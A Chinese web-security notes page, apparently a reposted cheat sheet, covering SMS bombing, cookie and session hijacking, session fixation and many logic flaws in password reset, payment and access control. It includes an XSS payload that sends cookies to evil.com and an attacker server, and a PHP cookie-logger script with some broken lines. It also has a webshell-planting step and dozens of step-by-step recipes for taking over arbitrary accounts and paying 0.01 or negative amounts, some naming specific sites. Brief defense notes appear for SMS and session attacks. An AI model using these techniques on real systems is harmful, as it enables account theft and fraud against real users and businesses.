短信轰炸

1.Fiddler抓包repeat
2.burpsuite 修改 PHPSESSID ->字典爆破 如选择a-z
3.burpsuite手机号遍历
防御:
设置图片验证码,每次获取短信验证码之间,先判定图片验证码的正确性。
设置时间限制,前端按钮设置点击事件时间限制。
设置服务器短信下发的时间间隔。
设置每个手机号时间段内获取短信的次数

 Cookie劫持

http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>

evil.js content:var img = document.createElement("img");img.src = "http://www.evil.com/log?"+escape(document.cookie);document.body.appendChild(img);PS:log不一定要存在,因为在日志中会记录下这个过程
上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:Burpsuit proxy 修改cookie
Firefox 插件 Data Tamper 截断请求修改cookie<?php$cookie = $_GET['c'];$ip = getenv('REMOTE_ADDR');$time = data("j F, Y, g:i a");$referer = getenv('HTTP_REFERER');$fp = fopen('cookie.txt','a');fwrite($fp.'Cookie: '.$cookie.'<br/> IP: '.$ip.'<br> Data and Time: '.$time.'<br>Referer: '.$referer.'<br><br>');fclose($fp);
?>
将上述保存到自己服务器上,1.php
然后在XSS处写入:
<script>document.location="http://your server/1.php?c="+document.cookie;</script>

View Code

Cookie欺骗

会话劫持(Session hijacking)

获取SessionID方式:1 暴力破解:尝试各种Session ID,直到破解为止;2、预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;3 窃取:使用网络嗅探,XSS攻击等方法获得。第三种攻击方式通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。最基本的Cookie窃取方式:XSS漏洞
防御:1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。4、 关闭所有phpinfo类dump request信息的页面。5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。var img = document.createElement('img');img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);document.getElementsByTagName('body')[0].appendChild(img);

View Code

会话固定漏洞(Sessionid)

攻击者重置SessionID的方式:跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。防御方法:1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。

View Code

逻辑漏洞 - 密码重置
#修改字段 + 对重置密码页面未做授权
https://account.xx.com/forget/findAccount.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715
https://account.xx.com/forget/reset.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715

#对任意用户账号进行密码重置 - A用户重置修改A用户的某关键值如ID/手机号为B用户关键值ID/手机号 -》即可修改B用户密码

#密码重置过程对管理员账户/任意账户修改 -》 验证邮箱地址抓包拦截改为自己邮箱 -》 完成密码重置
#配合暴力破解

reset_password.htm

找回密码设计缺陷 验证码4位且未限制次数可爆破


#验证码非一次性(一段时间内有效) #通过邮箱可直接修改密码(创建新账号-修改已知账号密码)   #未对邮箱做校验#通过已知邮箱直接修改密码 - 无须验证#网站可直接注册管理员账号(如admin) - 未对账号名做校验

#将注册用户的类型修改为超级管理员

在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的

#支付中未做短信验证 - 只需要支付密码验证 |  可对Web和手机端做对比#修改单据数量为负数(如购买电影票时候将 票数gids数量值2改为 -2) 

#修改支付金额为负数

#F12元素界面修改单据数量

#F12元素界面修改支付金额为负数|为0.01

#代码逻辑
$integral=$this->config["integral_com_comments"]*$_POST['time'];
.....
if($statis["integral"]<$integral){
$this->obj->ACT_msg("index.php?C=pay","你的".$this->config["integral_pricename"]."不足,请先充值");
}
.....
$nid=$this->obj->company_invtal($this->uid,$integral,false,"购买会员等级");
....function company_invtal($uid,$integral,$auto=true,$name="",$pay=true,$pay_state=2,$type="integral"){if($auto){$nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`+".$integral."","uid='".$uid."'");}else{$nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`-".$integral."","uid='".$uid."'");$integral="-".$integral;}if($pay){$dingdan=mktime().rand(10000,99999);$value="`order_id`='".$dingdan."',";$value.="`com_id`='".$uid."',";$value.="`pay_remark`='".$name."',";$value.="`pay_state`='".$pay_state."',";$value.="`pay_time`='".mktime()."',";$value.="`order_price`='".$integral."',";if($type=="integral"){$value.="`type`='1'";}else{$value.="`type`='2'";}$this->DB_insert_once("company_pay",$value);}return $nid;}

View Code

#验证码处短信炸弹

#无须验证码(如抢票接口-实现并发抢票-无须排队)#验证码和手机号码未做校验(如更改密码处直接输入手机号码-》输入任意验证码即可修改密码)#修改参数值兑换金币(如兑换代金券页面抓包拦截修改参数needAmount=-200)#修改支付金额购买产品#遍历用户信息(如修改ID值)#通过浏览器调试模式修改变量值-》刷新页面-》值修改成功(如修改用户手机号码)#修改购物数量为 -1
#购物 - 同时生成两个订单号,一个贵的一个便宜,首先支付便宜的,银行返回的时候,替换订单号,完成两个订单的同时支付
#通过id遍历用户订单信息
http://m.xx.com/m.php?m=UserCenter&a=show_order&id=1234567
#取消用户订单
http://www.xx.com/index.php?m=UcOrder&a=del&id=1234567

#用户列表处存在重置密码 - 》 使用重置后的密码登录  inurl:userlist.aspx #使用Paypal充值时 ——》 在页面跳转到PayPal支付页面时,保存页面源码,修改支付金额为0.01 ->使用浏览器打开修改后源码页面#留言处修改用户id和留言内容 ——》遍历用户留言 - 横向越权#修改用户余额实现0.01元支付(http://pay.xx.com/index.php?r=default/pay这个地址的请求中,有一个useBalanceAmountV的参数,这个就是使用的余额)

#修改兑换数量(如num值1-》10000)#遍历修改用户账号信息 (如用户B通过抓包修改Sdild值为用户A的Sdild值-》修改用户A信息)#F12修改页面元素-》如打赏金额为 -888 -》 点击打赏 ——》账号金额增加了888

#登录处 - 》 删除 /login.asp -》输入任意账号密码登录成功

将注册用户的类型修改为超级管理员
在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的

#密码找回 -》 输入用户名 admin -》 输入问题答案处编辑浏览器属性禁用 JavaScript -》 得到密码
次世代验证码识别系统

#密码找回处 -》 抓包修改 step参数绕过某些步骤验证

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码-》修改任意任意账号密码

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码 -》 需要进行名字和手机号是否对应时可将名字参数修改为空-》修改任意任意账号密码

#密码修改处 -》 输入原密码(提示原密码不正确) -》 抓包修改此时的response 0—》1

#密码找回处 -》 邮箱修改为自己的邮箱 -》 完成任意账号密码的修改

#密码找回处 -》 绕过验证码验证(第二步)-》 抓该包的返回包,复制返回的某个参数,替换掉已保存包的这个参数,此时直接输入重置密码及确认密码

#积分兑换处 -》 抓包拦截修改兑换金额超出实际已有的金额券 -》绕过逻辑校验完成积分兑换

#密码找回处 -》 验证邮箱链接: 时间戳+验证邮箱地址(经过base64编码)-》 对时间戳(1422416945)以正负10s进行爆破

#找回密码处-》输入手机号-》验证码四位长-》 抓包发现验证码经过base64编码-》整一份base64编码的4位数字字典进行爆破

#找回密码处-》使用注册时的验证码代替找回密码时需要的验证码->完成任意账号密码的修改

#登录处-》使用正确的响应包替换掉任意账号登录时的响应包-》登录任意账号

#重置口令处 ——> 输入用户名-》火狐浏览器-F12-网络-响应 ——》可在后续的响应中查看到口令答案-》提交——》使用Tamper Popup修改邮箱参数为自己的邮箱-》邮箱中收到密码

#购买商品 -》 选择两件商品加入订单 -》 数量一正一负 -》 提交订单

#机票 -》 改签管理-》 查询 -》 修改 queryType 3 -》 queryType 为 -1

#密码重置处 -》 修改username为任意用户username -》 完成任意username密码修改

#密码重置处 -》 打开两个窗口 -》 窗口一正常输入自己的手机号、验证码,跳转到修改密码页面停住,不在操作
-》 切到第二个窗口,输入要攻击的手机,点击发送验证码 -》
到第2步的修改密码页面,输入密码 -》 攻击的手机号的账号密码已成功修改

#密码找回处 - 》
http://vote.xx.cn/siteserver/forgetPassword.aspx
关闭js
输入用户名:admin
然后一直下一步
然后登陆后台,模板添加一句话,菜刀连接

#密码重置处 -》 {"status":-1} -》 {"status":0}

#密码重置 -》 获取验证码 -》 抓包拦截response -》 修改JS代码逻辑如 if(data==1)改为if(1) ->发包-》输入任意验证码 -》 完成密码重置

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改 1 为 0 -》 密码修改成功

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改手机号码 -》 密码修改成功

#密码重置处 -> 输入手机号点击获取验证码-》 填写任意验证码-》把错误响应码0修改成1-》绕过验证码验证 -》填写新密码-》完成密码修改

#密码重置处 -》 使用自己账号手机验证码点击提交-》抓包拦截将账号参数account修改为攻击账号-》完成攻击账号密码修改

#密码重置处 -》 1.先在网站注册一个账号
打开xx政务网 http://**.**.**.**/ -登录-找回密码 进入找回密码界面 -》输入刚注册的用户名 然后提交
选择通过绑定邮箱 找回登录密码 -》此时会有邮件发送到邮箱,进入邮箱 点开链接 会出现此页面 -》现在我们把这些操作命名为A 先不要关A -》
重新再打开一个xx政务网的页面 命名为B 执行操作 登录-注册-忘记密码-输入用户名。此时我可以输入我的另外一个账号 super1-》点击下一步的时候 会出现我的另一个邮箱 -》发送邮件-》发送完邮件后 继续A操作 输入新的用户名密码-》任意账号密码修改完成

#密码找回处 -》 找回密码处输入用户名和验证码-》通过手机绑定找回密码-》填写手机验证码-》填写新密码-》打开新找回密码页面输入目标账号,走完发送短信流程,回到填写新密码页面提交-》完成目标账号密码修改

#密码重置处-》 填写手机号-》输入验证码-》抓包拦截修改request的Username(需要修改账号),修改response中0改为1-》发包完成任意账号密码修改

#密码重置处-》输入会员名和手机号-》获取短信验证码-》输入验证码提交-》抓包查看返回值(USR_ID)->输入密码提交-》抓包查看request data数据只需要newpassword和USR_ID -》 修改USR_ID(可通过暴力破解方式获取)发送请求-》即可修改其他账号密码

#密码找回处-》选择普通会员找回密码-》输入身份证号和验证码-》获取验证码提交-》输入新密码提交-》抓包拦截修改攻击登录名即身份证号-》发包完成攻击登录名密码修改

#找回密码处-》使用自己账号自己手机验证码替换攻击账号需要输入的验证码-》完成攻击账号密码修改

#找回密码处-》输入admin账号-》选择找回方式为手机号找回-》输入手机号点击获取验证码-》抓包查看response中出现验证码-》输入验证码-》完成密码修改

#找回密码处 -》输入手机号13888888888,获取验证码,抓包-》替换返回包false替换为true-》填写密码-》完成任意账号密码修改

#找回密码处 -》 写入他人手机号点击获取验证短信——》抓包拦截把phone的手机号改为自己的手机号-》下一步-》完成他人手机号对应的账号密码找回

#修改昵称处 -》 点击修改昵称-》修改用户100的用户名为999 -》抓包修改u_ID cy_uid为用户200的u_ID cy_uid-》账号用户200用户名被修改成999

#头像修改处 -》 修改uid为于是换将uid换成497,发现上传成功。但发现我没法验证是否真的修改了497的头像。由于我是新建用户,所以uid应该是最后一个,将uid改成499,也就是还没有注册过的id,这样,我就可以新建一个499的账户来进行验证

#越权登录别人账号 -》 使用自己账号登录成功 -》 修改url中的loginid=自己账号ID 为 loginid=admin -》越权使用admin账号访问页面

#登录界面 -》 输入账号密码 -》 验证页面 -》 这里直接就有一个手机号,刷新一下页面手机号还会变。这种情况导致随机登录他人账号 -》 输入自己的手机号-》填写验证码提交 -》此时会跳转到随机的一个账户的论坛页面 -》 实现越权使用任意账号

#抽奖处 - 》 遍历订单号发包 —》刷奖金、兑换券

#遍历关键字-》返回用户敏感信息

#用户注册处-》使用邮箱注册-》邮箱验证地址https://www.guangxindai.com/third/email_auth/82185/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82185应该是uid 随便改成一个数字1 然后访问
https://www.guangxindai.com/third/email_auth/1/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82151改为1-》登录了管理员账号

#登录管理页面 -》 js验证页面跳转 -》 禁用活动脚本 -》 得到管理员权限

#付费资源修改为自己资源实现免费 -》 先随便注册个帐号,再创建个课程,保存草稿-》进入修改页面-》我们需要改url上的课程参数,随机抽取了一个课程id为14320-》接着我们改url为14320,设为免费-》点发布——》点下原作者的链接,发现没有对应的课程-》再点下搜索到课程,进入详细页面发现课程免费且据为己有

#邮箱验证绕过登录 -》 verifyEmail.do?name=866xx7550@qq.com&appId=1006 -》点击验证 -》 点击再次验证 -》 抓包拦截(发现key值相同)-》修改邮件地址为自己的邮件地址 -》 完成登录验证绕过

#购物 -》 确定订单-》修改addressid-》查看其他用户地址信息

#购物 - 》 提交订单处使用多线程并发(可用2个线程进行尝试) ——》优惠券在两个进程中都可以使用

#支付 -》 填写支付金额100 -》 抓包拦截修改支付金额为 0.01 -》 发包

#支付 -》 前者为商品价格-》后者为支付金额 -》修改后者金额为 -100

验证码 -》 输入手机号 -》 获取验证码 -》 拦截抓包查看response - > message字段(url编码)为验证码内容 -》 修改message发包-》短信内容被修改


#Cookie信息泄露导致任意用户登录(在共享时,选择共享的用户自动展示出所有的用户-》此时查看源码response可能就会存在cookie信息-》利用Cookie登录账号)

Self.do?method=findInfo&userLogin=null   #个人信息页面

Self.do?method=changemobile&mobile=手机号码&userLogin=用户名   #手机号修改接口

转载于:https://www.cnblogs.com/AtesetEnginner/p/11210117.html

应用安全 - Web安全 - 逻辑漏洞整理相关推荐

  1. Web安全 -- 逻辑漏洞讲

    逻辑漏洞 逻辑漏洞应用在方方面面,主要是根据应用不通产生的逻辑方面漏洞不同.比如金融网站和互联网网站以及购物网站,挖掘逻辑漏洞方法完全不一样.所以本篇算是冰山一角,给大家一个科普! 常规漏洞漏洞 逻辑 ...

  2. 登录逻辑漏洞整理集合

    目录 一.任意用户注册 1.未验证邮箱/手机号 2.不安全验证邮箱/手机号 3.批量注册 4.个人信息伪造 5.前端验证审核绕过 6.用户名覆盖 二.任意用户登录 1.万能密码 2.验证码.密码回显 ...

  3. 不可思议但又无处不在的漏洞,WEB安全基础入门—业务逻辑漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: <WEB安全基础-服务器端漏洞> <WEB安全基础-客户端漏洞> <WEB安全高级-综合利用> 知识点全面细致 ...

  4. Web安全 支付逻辑漏洞.

    支付逻辑漏洞的概括. 支付逻辑漏洞:是系统的支付流程中存在业务逻辑层面的漏洞. 支付逻辑漏洞:通常为选择商品和数量---选择支付及配送方式---生成订单---订单支付---完成支付. 常见的支付逻辑漏 ...

  5. 【web安全】——逻辑漏洞之越权漏洞

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:一切为了她 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构 每日emo:希望我失望的日子过的快些 目录 一.越权漏洞 ...

  6. Web渗透测试之逻辑漏洞挖掘

    1.逻辑漏洞特点:简单.复杂 1.1.利用工具简单: 数据包抓取工具(Burpsuit.fiddler等) 1.2.思路复杂: 核心:绕过真实用户身份或正常业务流程达到预期目的. 1.2.1.用户身份 ...

  7. WEB攻防-通用漏洞水平垂直越权购买逻辑漏洞

    目录 水平垂直越权 水平越权 垂直越权 访问控制原理 漏洞判别 防护 购买逻辑漏洞 知识点 详细介绍 防护 案例演示-优惠券 案例演示-CMS-订单修改 水平垂直越权 水平越权 同级用户权限共享--- ...

  8. Web安全之业务逻辑漏洞

    业务逻辑 不同的项目有不同的功能,不同的功能需要不同的代码实现,实现这些核心功能的代码就叫业务逻辑. 业务逻辑漏洞 业务逻辑漏洞是指由于程序逻辑不严谨或逻辑太复杂,导致一些逻辑分支不能正常处理或处理错 ...

  9. 商品支付,支付逻辑漏洞安全(niushop)——实例讲解一毛钱购买手机

    一.什么是支付逻辑安全 支付逻辑漏洞是指系统的支付流程中存在业务逻辑层面的漏洞 二.常见支付流程: 选择商品和数量--选择支付及配送方式--生成订单编号--订单支付选择--完成支付 如:最常见的支付逻 ...

  10. phpyun—逻辑漏洞导致验证码泄露绑定任意手机号

    一.环境搭建 在我的资源中下载:phpyun-存有逻辑漏洞验证码泄露的源码包 使用phpstudy搭建phpyun,搭建完成后,短信设置为下图所示,即可. 二.漏洞1--验证码泄露 环境搭建成功后,注 ...

最新文章

  1. 自己写的一个tomcat发布脚本
  2. python如何绘制折线图-python如何画折线图
  3. python观察日志(part3)--绘制科赫雪花图
  4. java中的与或非_与或非 · java development · 看云
  5. UIImageJPEGRepresentation和UIImagePNGRepresentation
  6. Java ClassLoader getPackage()方法与示例
  7. python拆分合并文件_Python 视频文件的分割和合并
  8. 迷宫问题(信息学奥赛一本通-T1255)
  9. word实现文献引用2
  10. DataGridView 列自适应宽度 设置
  11. oracle和mysql用户名_oracle的SID和用户名和角色
  12. 零信任安全架构03-适用场景及实施建议
  13. 【Python数据分析学习实例】计算某个函数的一阶导数、二阶导数,并绘出图像
  14. no-sql数据库之redis
  15. 广州男子花12万买新车 保养时被告知车门被撬开维修过
  16. 阅读笔记之:Multimodal learning in Loosely-organized web images-CVPR2014
  17. 【ROS RIKIBOT 基础--使用系列 第八章节】超声波跟随、雷达跟随、手机APP建地图、视觉单线寻线
  18. python实用代码2:自动爬找下载电影
  19. 西北乱跑娃 -- html header优化信息
  20. Office应用显示应用程序无法正常启动(0xc0000142)时,采用的解决办法。亲测有效!

热门文章

  1. 转:ibatis配置简介
  2. ggplot2图集汇总(一)
  3. 精选 | 2018年4月R新包推荐
  4. (转载)make的-j命令(加速Linux程序编译)
  5. 在线js调试工具JSbin、jsFiddle
  6. Perl获取前后任意月份月末
  7. 超市里的15个“心理陷阱” 不知不觉中就掏了钱包 防不胜防
  8. Mysql中给数据库,表,字段设置字符编码
  9. java多线程和长连接,三方转换通信的实践(2)——数据库端服务程序
  10. Mac Pro 使用 ll、la、l等ls的别名命令